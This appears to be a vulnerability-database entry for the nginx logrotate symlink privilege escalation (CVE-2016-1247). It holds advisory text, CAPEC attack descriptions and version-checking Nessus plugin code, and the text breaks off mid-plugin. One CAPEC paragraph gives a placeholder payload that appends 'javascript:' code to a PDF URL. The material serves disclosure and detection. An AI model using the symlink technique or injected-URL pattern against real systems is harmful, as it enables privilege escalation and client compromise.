Vulnerabilities > CVE-2016-1247 - Link Following vulnerability in multiple products

CVSS 7.8 - HIGH

Attack vector

LOCAL

Attack complexity

LOW

Privileges required

LOW

Confidentiality impact

HIGH

Integrity impact

HIGH

Availability impact

HIGH

local

low complexity

fedoraproject

CWE-59

nessus

exploit available

NVD

Published: 2016-11-29

Updated: 2023-11-07

Summary

The nginx package before 1.6.2-5+deb8u3 on Debian jessie, the nginx packages before 1.4.6-1ubuntu3.6 on Ubuntu 14.04 LTS, before 1.10.0-0ubuntu0.16.04.3 on Ubuntu 16.04 LTS, and before 1.10.1-0ubuntu1.1 on Ubuntu 16.10, and the nginx ebuild before 1.10.2-r3 on Gentoo allow local users with access to the web server user account to gain root privileges via a symlink attack on the error log.

Vulnerable Configurations

Part	Description	Count
Application	F5 F5 Nginx - F5 Nginx 0.1.0 F5 Nginx 0.1.1 F5 Nginx 0.1.2 F5 Nginx 0.1.3 F5 Nginx 0.1.4 F5 Nginx 0.1.5 F5 Nginx 0.1.6 F5 Nginx 0.1.7 F5 Nginx 0.1.8 F5 Nginx 0.1.9 F5 Nginx 0.1.10 F5 Nginx 0.1.11 F5 Nginx 0.1.12 F5 Nginx 0.1.13 F5 Nginx 0.1.14 F5 Nginx 0.1.15 F5 Nginx 0.1.16 F5 Nginx 0.1.17 F5 Nginx 0.1.18 F5 Nginx 0.1.19 F5 Nginx 0.1.20 F5 Nginx 0.1.21 F5 Nginx 0.1.22 F5 Nginx 0.1.23 F5 Nginx 0.1.24 F5 Nginx 0.1.25 F5 Nginx 0.1.26 F5 Nginx 0.1.27 F5 Nginx 0.1.28 F5 Nginx 0.1.29 F5 Nginx 0.1.30 F5 Nginx 0.1.31 F5 Nginx 0.1.32 F5 Nginx 0.1.33 F5 Nginx 0.1.34 F5 Nginx 0.1.35 F5 Nginx 0.1.36 F5 Nginx 0.1.37 F5 Nginx 0.1.38 F5 Nginx 0.1.39 F5 Nginx 0.1.40 F5 Nginx 0.1.41 F5 Nginx 0.1.42 F5 Nginx 0.1.43 F5 Nginx 0.1.44 F5 Nginx 0.1.45 F5 Nginx 0.2.0 F5 Nginx 0.2.1 F5 Nginx 0.2.2 F5 Nginx 0.2.3 F5 Nginx 0.2.4 F5 Nginx 0.2.5 F5 Nginx 0.2.6 F5 Nginx 0.3.0 F5 Nginx 0.3.1 F5 Nginx 0.3.2 F5 Nginx 0.3.3 F5 Nginx 0.3.4 F5 Nginx 0.3.5 F5 Nginx 0.3.6 F5 Nginx 0.3.7 F5 Nginx 0.3.8 F5 Nginx 0.3.9 F5 Nginx 0.3.10 F5 Nginx 0.3.11 F5 Nginx 0.3.12 F5 Nginx 0.3.13 F5 Nginx 0.3.14 F5 Nginx 0.3.15 F5 Nginx 0.3.16 F5 Nginx 0.3.17 F5 Nginx 0.3.18 F5 Nginx 0.3.19 F5 Nginx 0.3.20 F5 Nginx 0.3.21 F5 Nginx 0.3.22 F5 Nginx 0.3.23 F5 Nginx 0.3.24 F5 Nginx 0.3.25 F5 Nginx 0.3.26 F5 Nginx 0.3.27 F5 Nginx 0.3.28 F5 Nginx 0.3.29 F5 Nginx 0.3.30 F5 Nginx 0.3.31 F5 Nginx 0.3.32 F5 Nginx 0.3.33 F5 Nginx 0.3.34 F5 Nginx 0.3.35 F5 Nginx 0.3.36 F5 Nginx 0.3.37 F5 Nginx 0.3.38 F5 Nginx 0.3.39 F5 Nginx 0.3.40 F5 Nginx 0.3.41 F5 Nginx 0.3.42 F5 Nginx 0.3.43 F5 Nginx 0.3.44 F5 Nginx 0.3.45 F5 Nginx 0.3.46 F5 Nginx 0.3.47 F5 Nginx 0.3.48 F5 Nginx 0.3.49 F5 Nginx 0.3.50 F5 Nginx 0.3.51 F5 Nginx 0.3.52 F5 Nginx 0.3.53 F5 Nginx 0.3.54 F5 Nginx 0.3.55 F5 Nginx 0.3.56 F5 Nginx 0.3.57 F5 Nginx 0.3.58 F5 Nginx 0.3.59 F5 Nginx 0.3.60 F5 Nginx 0.3.61 F5 Nginx 0.4.0 F5 Nginx 0.4.1 F5 Nginx 0.4.2 F5 Nginx 0.4.3 F5 Nginx 0.4.4 F5 Nginx 0.4.5 F5 Nginx 0.4.6 F5 Nginx 0.4.7 F5 Nginx 0.4.8 F5 Nginx 0.4.9 F5 Nginx 0.4.10 F5 Nginx 0.4.11 F5 Nginx 0.4.12 F5 Nginx 0.4.13 F5 Nginx 0.4.14 F5 Nginx 0.5.0 F5 Nginx 0.5.1 F5 Nginx 0.5.2 F5 Nginx 0.5.3 F5 Nginx 0.5.4 F5 Nginx 0.5.5 F5 Nginx 0.5.6 F5 Nginx 0.5.7 F5 Nginx 0.5.8 F5 Nginx 0.5.9 F5 Nginx 0.5.10 F5 Nginx 0.5.11 F5 Nginx 0.5.12 F5 Nginx 0.5.13 F5 Nginx 0.5.14 F5 Nginx 0.5.15 F5 Nginx 0.5.16 F5 Nginx 0.5.17 F5 Nginx 0.5.18 F5 Nginx 0.5.19 F5 Nginx 0.5.20 F5 Nginx 0.5.21 F5 Nginx 0.5.22 F5 Nginx 0.5.23 F5 Nginx 0.5.24 F5 Nginx 0.5.25 F5 Nginx 0.5.26 F5 Nginx 0.5.27 F5 Nginx 0.5.28 F5 Nginx 0.5.29 F5 Nginx 0.5.30 F5 Nginx 0.5.31 F5 Nginx 0.5.32 F5 Nginx 0.5.33 F5 Nginx 0.5.34 F5 Nginx 0.5.35 F5 Nginx 0.5.36 F5 Nginx 0.5.37 F5 Nginx 0.5.38 F5 Nginx 0.6.0 F5 Nginx 0.6.1 F5 Nginx 0.6.2 F5 Nginx 0.6.3 F5 Nginx 0.6.4 F5 Nginx 0.6.5 F5 Nginx 0.6.6 F5 Nginx 0.6.7 F5 Nginx 0.6.8 F5 Nginx 0.6.9 F5 Nginx 0.6.10 F5 Nginx 0.6.11 F5 Nginx 0.6.12 F5 Nginx 0.6.13 F5 Nginx 0.6.14 F5 Nginx 0.6.15 F5 Nginx 0.6.16 F5 Nginx 0.6.17 F5 Nginx 0.6.18 F5 Nginx 0.6.19 F5 Nginx 0.6.20 F5 Nginx 0.6.21 F5 Nginx 0.6.22 F5 Nginx 0.6.23 F5 Nginx 0.6.24 F5 Nginx 0.6.25 F5 Nginx 0.6.26 F5 Nginx 0.6.27 F5 Nginx 0.6.28 F5 Nginx 0.6.29 F5 Nginx 0.6.30 F5 Nginx 0.6.31 F5 Nginx 0.6.32 F5 Nginx 0.6.33 F5 Nginx 0.6.34 F5 Nginx 0.6.35 F5 Nginx 0.6.36 F5 Nginx 0.6.37 F5 Nginx 0.6.38 F5 Nginx 0.6.39 F5 Nginx 0.7.0 F5 Nginx 0.7.1 F5 Nginx 0.7.2 F5 Nginx 0.7.3 F5 Nginx 0.7.4 F5 Nginx 0.7.5 F5 Nginx 0.7.6 F5 Nginx 0.7.7 F5 Nginx 0.7.8 F5 Nginx 0.7.9 F5 Nginx 0.7.10 F5 Nginx 0.7.11 F5 Nginx 0.7.12 F5 Nginx 0.7.13 F5 Nginx 0.7.14 F5 Nginx 0.7.15 F5 Nginx 0.7.16 F5 Nginx 0.7.17 F5 Nginx 0.7.18 F5 Nginx 0.7.19 F5 Nginx 0.7.20 F5 Nginx 0.7.21 F5 Nginx 0.7.22 F5 Nginx 0.7.23 F5 Nginx 0.7.24 F5 Nginx 0.7.25 F5 Nginx 0.7.26 F5 Nginx 0.7.27 F5 Nginx 0.7.28 F5 Nginx 0.7.29 F5 Nginx 0.7.30 F5 Nginx 0.7.31 F5 Nginx 0.7.32 F5 Nginx 0.7.33 F5 Nginx 0.7.34 F5 Nginx 0.7.35 F5 Nginx 0.7.36 F5 Nginx 0.7.37 F5 Nginx 0.7.38 F5 Nginx 0.7.39 F5 Nginx 0.7.40 F5 Nginx 0.7.41 F5 Nginx 0.7.42 F5 Nginx 0.7.43 F5 Nginx 0.7.44 F5 Nginx 0.7.45 F5 Nginx 0.7.46 F5 Nginx 0.7.47 F5 Nginx 0.7.48 F5 Nginx 0.7.49 F5 Nginx 0.7.50 F5 Nginx 0.7.51 F5 Nginx 0.7.52 F5 Nginx 0.7.53 F5 Nginx 0.7.54 F5 Nginx 0.7.55 F5 Nginx 0.7.56 F5 Nginx 0.7.57 F5 Nginx 0.7.58 F5 Nginx 0.7.59 F5 Nginx 0.7.60 F5 Nginx 0.7.61 F5 Nginx 0.7.62 F5 Nginx 0.7.63 F5 Nginx 0.7.64 F5 Nginx 0.7.65 F5 Nginx 0.7.66 F5 Nginx 0.7.67 F5 Nginx 0.7.68 F5 Nginx 0.7.69 F5 Nginx 0.8.0 F5 Nginx 0.8.1 F5 Nginx 0.8.2 F5 Nginx 0.8.3 F5 Nginx 0.8.4 F5 Nginx 0.8.5 F5 Nginx 0.8.6 F5 Nginx 0.8.7 F5 Nginx 0.8.8 F5 Nginx 0.8.9 F5 Nginx 0.8.10 F5 Nginx 0.8.11 F5 Nginx 0.8.12 F5 Nginx 0.8.13 F5 Nginx 0.8.14 F5 Nginx 0.8.15 F5 Nginx 0.8.16 F5 Nginx 0.8.17 F5 Nginx 0.8.18 F5 Nginx 0.8.19 F5 Nginx 0.8.20 F5 Nginx 0.8.21 F5 Nginx 0.8.22 F5 Nginx 0.8.23 F5 Nginx 0.8.24 F5 Nginx 0.8.25 F5 Nginx 0.8.26 F5 Nginx 0.8.27 F5 Nginx 0.8.28 F5 Nginx 0.8.29 F5 Nginx 0.8.30 F5 Nginx 0.8.31 F5 Nginx 0.8.32 F5 Nginx 0.8.33 F5 Nginx 0.8.34 F5 Nginx 0.8.35 F5 Nginx 0.8.36 F5 Nginx 0.8.37 F5 Nginx 0.8.38 F5 Nginx 0.8.39 F5 Nginx 0.8.40 F5 Nginx 0.8.41 F5 Nginx 0.8.42 F5 Nginx 0.8.43 F5 Nginx 0.8.44 F5 Nginx 0.8.45 F5 Nginx 0.8.46 F5 Nginx 0.8.47 F5 Nginx 0.8.48 F5 Nginx 0.8.49 F5 Nginx 0.8.50 F5 Nginx 0.8.51 F5 Nginx 0.8.52 F5 Nginx 0.8.53 F5 Nginx 0.8.54 F5 Nginx 0.8.55 F5 Nginx 0.9.0 F5 Nginx 0.9.1 F5 Nginx 0.9.2 F5 Nginx 0.9.3 F5 Nginx 0.9.4 F5 Nginx 0.9.5 F5 Nginx 0.9.6 F5 Nginx 0.9.7 F5 Nginx 1.0.0 F5 Nginx 1.0.1 F5 Nginx 1.0.2 F5 Nginx 1.0.3 F5 Nginx 1.0.4 F5 Nginx 1.0.5 F5 Nginx 1.0.6 F5 Nginx 1.0.7 F5 Nginx 1.0.8 F5 Nginx 1.0.9 F5 Nginx 1.0.10 F5 Nginx 1.0.11 F5 Nginx 1.0.12 F5 Nginx 1.0.13 F5 Nginx 1.0.14 F5 Nginx 1.0.15 F5 Nginx 1.1.0 F5 Nginx 1.1.1 F5 Nginx 1.1.2 F5 Nginx 1.1.3 F5 Nginx 1.1.4 F5 Nginx 1.1.5 F5 Nginx 1.1.6 F5 Nginx 1.1.7 F5 Nginx 1.1.8 F5 Nginx 1.1.9 F5 Nginx 1.1.10 F5 Nginx 1.1.11 F5 Nginx 1.1.12 F5 Nginx 1.1.13 F5 Nginx 1.1.14 F5 Nginx 1.1.15 F5 Nginx 1.1.16 F5 Nginx 1.1.17 F5 Nginx 1.1.18 F5 Nginx 1.1.19 F5 Nginx 1.2.0 F5 Nginx 1.2.1 F5 Nginx 1.2.2 F5 Nginx 1.2.3 F5 Nginx 1.2.4 F5 Nginx 1.2.5 F5 Nginx 1.2.6 F5 Nginx 1.2.7 F5 Nginx 1.2.8 F5 Nginx 1.2.9 F5 Nginx 1.3.0 F5 Nginx 1.3.1 F5 Nginx 1.3.2 F5 Nginx 1.3.3 F5 Nginx 1.3.4 F5 Nginx 1.3.5 F5 Nginx 1.3.6 F5 Nginx 1.3.7 F5 Nginx 1.3.8 F5 Nginx 1.3.9 F5 Nginx 1.3.10 F5 Nginx 1.3.11 F5 Nginx 1.3.12 F5 Nginx 1.3.13 F5 Nginx 1.3.14 F5 Nginx 1.3.15 F5 Nginx 1.3.16 F5 Nginx 1.4.0 F5 Nginx 1.4.1 F5 Nginx 1.4.2 F5 Nginx 1.4.3 F5 Nginx 1.4.4 F5 Nginx 1.4.5 F5 Nginx 1.4.6 F5 Nginx 1.4.7 F5 Nginx 1.5.0 F5 Nginx 1.5.1 F5 Nginx 1.5.2 F5 Nginx 1.5.3 F5 Nginx 1.5.4 F5 Nginx 1.5.5 F5 Nginx 1.5.6 F5 Nginx 1.5.7 F5 Nginx 1.5.8 F5 Nginx 1.5.9 F5 Nginx 1.5.10 F5 Nginx 1.5.11 F5 Nginx 1.5.12 F5 Nginx 1.5.13 F5 Nginx 1.6.0 F5 Nginx 1.6.1 F5 Nginx 1.6.2 F5 Nginx 1.6.3 F5 Nginx 1.7.0 F5 Nginx 1.7.4 F5 Nginx 1.7.5 F5 Nginx 1.7.6 F5 Nginx 1.7.7 F5 Nginx 1.7.8 F5 Nginx 1.7.9 F5 Nginx 1.7.10 F5 Nginx 1.7.11 F5 Nginx 1.7.12 F5 Nginx 1.8.0 F5 Nginx 1.8.1 F5 Nginx 1.9.0 F5 Nginx 1.9.1 F5 Nginx 1.9.2 F5 Nginx 1.9.3 F5 Nginx 1.9.4 F5 Nginx 1.9.5 F5 Nginx 1.9.6 F5 Nginx 1.9.7 F5 Nginx 1.9.8 F5 Nginx 1.9.9 F5 Nginx 1.9.10 F5 Nginx 1.9.11 F5 Nginx 1.9.12 F5 Nginx 1.9.13 F5 Nginx 1.9.14 F5 Nginx 1.9.15 F5 Nginx 1.10.0 F5 Nginx 1.10.1	463
OS	Canonical Canonical Ubuntu Linux 16.10 Canonical Ubuntu Linux 16.04 Canonical Ubuntu Linux 14.04	3
OS	Debian Debian Debian Linux 8.0	1
OS	Fedoraproject Fedoraproject Fedora 33 Fedoraproject Fedora 34 Fedoraproject Fedora 35	3

Common Weakness Enumeration (CWE)

CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Common Attack Pattern Enumeration and Classification (CAPEC)

Symlink Attack
An attacker positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name. The endpoint file may be either output or input. If the file is output, the result is that the endpoint is modified, instead of a file at the intended location. Modifications to the endpoint file may include appending, overwriting, corrupting, changing permissions, or other modifications. In some variants of this attack the attacker may be able to control the change to a file while in other cases they cannot. The former is especially damaging since the attacker may be able to grant themselves increased privileges or insert false information, but the latter can also be damaging as it can expose sensitive information or corrupt or destroy vital system or application files. Alternatively, the endpoint file may serve as input to the targeted application. This can be used to feed malformed input into the target or to cause the target to process different information, possibly allowing the attacker to control the actions of the target or to cause the target to expose information to the attacker. Moreover, the actions taken on the endpoint file are undertaken with the permissions of the targeted user or application, which may exceed the permissions that the attacker would normally have.
Accessing, Modifying or Executing Executable Files
An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
Manipulating Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

description	Nginx (Debian-Based Distributions) - 'logrotate' Local Privilege Escalation. CVE-2016-1247. Local exploit for Linux platform
file	exploits/linux/local/40768.sh
id	EDB-ID:40768
last seen	2016-11-16
modified	2016-11-16
platform	linux
port
published	2016-11-16
reporter	Exploit-DB
source	https://www.exploit-db.com/download/40768/
title	Nginx (Debian-Based Distributions) - 'logrotate' Local Privilege Escalation
type	local

Nessus

NASL family	Debian Local Security Checks
NASL id	DEBIAN_DSA-3701.NASL
description	Dawid Golunski reported the nginx web server packages in Debian suffered from a privilege escalation vulnerability (www-data to root) due to the way log files are handled. This security update changes ownership of the /var/log/nginx directory root. In addition, /var/log/nginx has to be made accessible to local users, and local users may be able to read the log files themselves local until the next logrotate invocation.
last seen	2020-06-01
modified	2020-06-02
plugin id	94260
published	2016-10-26
reporter	This script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
source	https://www.tenable.com/plugins/nessus/94260
title	Debian DSA-3701-1 : nginx - security update
code	# # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from Debian Security Advisory DSA-3701. The text # itself is copyright (C) Software in the Public Interest, Inc. # include("compat.inc"); if (description) { script_id(94260); script_version("1.6"); script_cvs_date("Date: 2018/11/10 11:49:38"); script_cve_id("CVE-2016-1247"); script_xref(name:"DSA", value:"3701"); script_name(english:"Debian DSA-3701-1 : nginx - security update"); script_summary(english:"Checks dpkg output for the updated package"); script_set_attribute( attribute:"synopsis", value:"The remote Debian host is missing a security-related update." ); script_set_attribute( attribute:"description", value: "Dawid Golunski reported the nginx web server packages in Debian suffered from a privilege escalation vulnerability (www-data to root) due to the way log files are handled. This security update changes ownership of the /var/log/nginx directory root. In addition, /var/log/nginx has to be made accessible to local users, and local users may be able to read the log files themselves local until the next logrotate invocation." ); script_set_attribute( attribute:"see_also", value:"https://packages.debian.org/source/jessie/nginx" ); script_set_attribute( attribute:"see_also", value:"https://www.debian.org/security/2016/dsa-3701" ); script_set_attribute( attribute:"solution", value: "Upgrade the nginx packages. For the stable distribution (jessie), this problem has been fixed in version 1.6.2-5+deb8u3." ); script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:nginx"); script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:8.0"); script_set_attribute(attribute:"patch_publication_date", value:"2016/10/25"); script_set_attribute(attribute:"plugin_publication_date", value:"2016/10/26"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"Debian Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l"); exit(0); } include("audit.inc"); include("debian_package.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian"); if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING); flag = 0; if (deb_check(release:"8.0", prefix:"nginx", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-common", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-doc", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-extras", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-extras-dbg", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-full", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-full-dbg", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-light", reference:"1.6.2-5+deb8u3")) flag++; if (deb_check(release:"8.0", prefix:"nginx-light-dbg", reference:"1.6.2-5+deb8u3")) flag++; if (flag) { if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get()); else security_hole(0); exit(0); } else audit(AUDIT_HOST_NOT, "affected");

NASL family	Ubuntu Local Security Checks
NASL id	UBUNTU_USN-3114-1.NASL
description	Dawid Golunski discovered that the nginx package incorrectly handled log file permissions. A remote attacker could possibly use this issue to obtain root privileges. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
last seen	2020-06-01
modified	2020-06-02
plugin id	94289
published	2016-10-26
reporter	Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
source	https://www.tenable.com/plugins/nessus/94289
title	Ubuntu 14.04 LTS / 16.04 LTS / 16.10 : nginx vulnerability (USN-3114-1)
code	# # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from Ubuntu Security Notice USN-3114-1. The text # itself is copyright (C) Canonical, Inc. See # <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered # trademark of Canonical, Inc. # include("compat.inc"); if (description) { script_id(94289); script_version("1.6"); script_cvs_date("Date: 2019/09/18 12:31:46"); script_cve_id("CVE-2016-1247"); script_xref(name:"USN", value:"3114-1"); script_name(english:"Ubuntu 14.04 LTS / 16.04 LTS / 16.10 : nginx vulnerability (USN-3114-1)"); script_summary(english:"Checks dpkg output for updated packages."); script_set_attribute( attribute:"synopsis", value: "The remote Ubuntu host is missing one or more security-related patches." ); script_set_attribute( attribute:"description", value: "Dawid Golunski discovered that the nginx package incorrectly handled log file permissions. A remote attacker could possibly use this issue to obtain root privileges. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues." ); script_set_attribute( attribute:"see_also", value:"https://usn.ubuntu.com/3114-1/" ); script_set_attribute(attribute:"solution", value:"Update the affected packages."); script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:nginx-common"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:nginx-core"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:nginx-extras"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:nginx-full"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:canonical:ubuntu_linux:nginx-light"); script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:14.04"); script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:16.04"); script_set_attribute(attribute:"cpe", value:"cpe:/o:canonical:ubuntu_linux:16.10"); script_set_attribute(attribute:"vuln_publication_date", value:"2016/11/29"); script_set_attribute(attribute:"patch_publication_date", value:"2016/10/25"); script_set_attribute(attribute:"plugin_publication_date", value:"2016/10/26"); script_set_attribute(attribute:"generated_plugin", value:"current"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"Ubuntu Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/cpu", "Host/Ubuntu", "Host/Ubuntu/release", "Host/Debian/dpkg-l"); exit(0); } include("audit.inc"); include("ubuntu.inc"); include("misc_func.inc"); if ( ! get_kb_item("Host/local_checks_enabled") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); release = get_kb_item("Host/Ubuntu/release"); if ( isnull(release) ) audit(AUDIT_OS_NOT, "Ubuntu"); release = chomp(release); if (! preg(pattern:"^(14\.04\|16\.04\|16\.10)$", string:release)) audit(AUDIT_OS_NOT, "Ubuntu 14.04 / 16.04 / 16.10", "Ubuntu " + release); if ( ! get_kb_item("Host/Debian/dpkg-l") ) audit(AUDIT_PACKAGE_LIST_MISSING); cpu = get_kb_item("Host/cpu"); if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH); if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Ubuntu", cpu); flag = 0; if (ubuntu_check(osver:"14.04", pkgname:"nginx-common", pkgver:"1.4.6-1ubuntu3.6")) flag++; if (ubuntu_check(osver:"14.04", pkgname:"nginx-core", pkgver:"1.4.6-1ubuntu3.6")) flag++; if (ubuntu_check(osver:"14.04", pkgname:"nginx-extras", pkgver:"1.4.6-1ubuntu3.6")) flag++; if (ubuntu_check(osver:"14.04", pkgname:"nginx-full", pkgver:"1.4.6-1ubuntu3.6")) flag++; if (ubuntu_check(osver:"14.04", pkgname:"nginx-light", pkgver:"1.4.6-1ubuntu3.6")) flag++; if (ubuntu_check(osver:"16.04", pkgname:"nginx-common", pkgver:"1.10.0-0ubuntu0.16.04.3")) flag++; if (ubuntu_check(osver:"16.04", pkgname:"nginx-core", pkgver:"1.10.0-0ubuntu0.16.04.3")) flag++; if (ubuntu_check(osver:"16.04", pkgname:"nginx-extras", pkgver:"1.10.0-0ubuntu0.16.04.3")) flag++; if (ubuntu_check(osver:"16.04", pkgname:"nginx-full", pkgver:"1.10.0-0ubuntu0.16.04.3")) flag++; if (ubuntu_check(osver:"16.04", pkgname:"nginx-light", pkgver:"1.10.0-0ubuntu0.16.04.3")) flag++; if (ubuntu_check(osver:"16.10", pkgname:"nginx-common", pkgver:"1.10.1-0ubuntu1.1")) flag++; if (ubuntu_check(osver:"16.10", pkgname:"nginx-core", pkgver:"1.10.1-0ubuntu1.1")) flag++; if (ubuntu_check(osver:"16.10", pkgname:"nginx-extras", pkgver:"1.10.1-0ubuntu1.1")) flag++; if (ubuntu_check(osver:"16.10", pkgname:"nginx-full", pkgver:"1.10.1-0ubuntu1.1")) flag++; if (ubuntu_check(osver:"16.10", pkgname:"nginx-light", pkgver:"1.10.1-0ubuntu1.1")) flag++; if (flag) { security_report_v4( port : 0, severity : SECURITY_HOLE, extra : ubuntu_report_get() ); exit(0); } else { tested = ubuntu_pkg_tests_get(); if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested); else audit(AUDIT_PACKAGE_NOT_INSTALLED, "nginx-common / nginx-core / nginx-extras / nginx-full / nginx-light"); }

NASL family	Gentoo Local Security Checks
NASL id	GENTOO_GLSA-201701-22.NASL
description	The remote host is affected by the vulnerability described in GLSA-201701-22 (NGINX: Privilege escalation) It was discovered that Gentoo’s default NGINX installation applied similar problematic permissions on “/var/log/nginx” as Debian (DSA-3701) and is therefore vulnerable to the same attack described in CVE-2016-1247. Impact : A local attacker, who either is already NGINX’s system user or belongs to NGINX’s group, could potentially escalate privileges. Workaround : Ensure that no untrusted user can create files in directories which are used by NGINX (or an NGINX vhost) to store log files.
last seen	2020-06-01
modified	2020-06-02
plugin id	96416
published	2017-01-12
reporter	This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
source	https://www.tenable.com/plugins/nessus/96416
title	GLSA-201701-22 : NGINX: Privilege escalation
code	# # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from Gentoo Linux Security Advisory GLSA 201701-22. # # The advisory text is Copyright (C) 2001-2017 Gentoo Foundation, Inc. # and licensed under the Creative Commons - Attribution / Share Alike # license. See http://creativecommons.org/licenses/by-sa/3.0/ # include("compat.inc"); if (description) { script_id(96416); script_version("3.2"); script_cvs_date("Date: 2019/04/10 16:10:17"); script_cve_id("CVE-2016-1247"); script_xref(name:"GLSA", value:"201701-22"); script_name(english:"GLSA-201701-22 : NGINX: Privilege escalation"); script_summary(english:"Checks for updated package(s) in /var/db/pkg"); script_set_attribute( attribute:"synopsis", value: "The remote Gentoo host is missing one or more security-related patches." ); script_set_attribute( attribute:"description", value: "The remote host is affected by the vulnerability described in GLSA-201701-22 (NGINX: Privilege escalation) It was discovered that Gentoo’s default NGINX installation applied similar problematic permissions on “/var/log/nginx” as Debian (DSA-3701) and is therefore vulnerable to the same attack described in CVE-2016-1247. Impact : A local attacker, who either is already NGINX’s system user or belongs to NGINX’s group, could potentially escalate privileges. Workaround : Ensure that no untrusted user can create files in directories which are used by NGINX (or an NGINX vhost) to store log files." ); script_set_attribute( attribute:"see_also", value:"https://www.debian.org/security/2016/dsa-3701" ); # 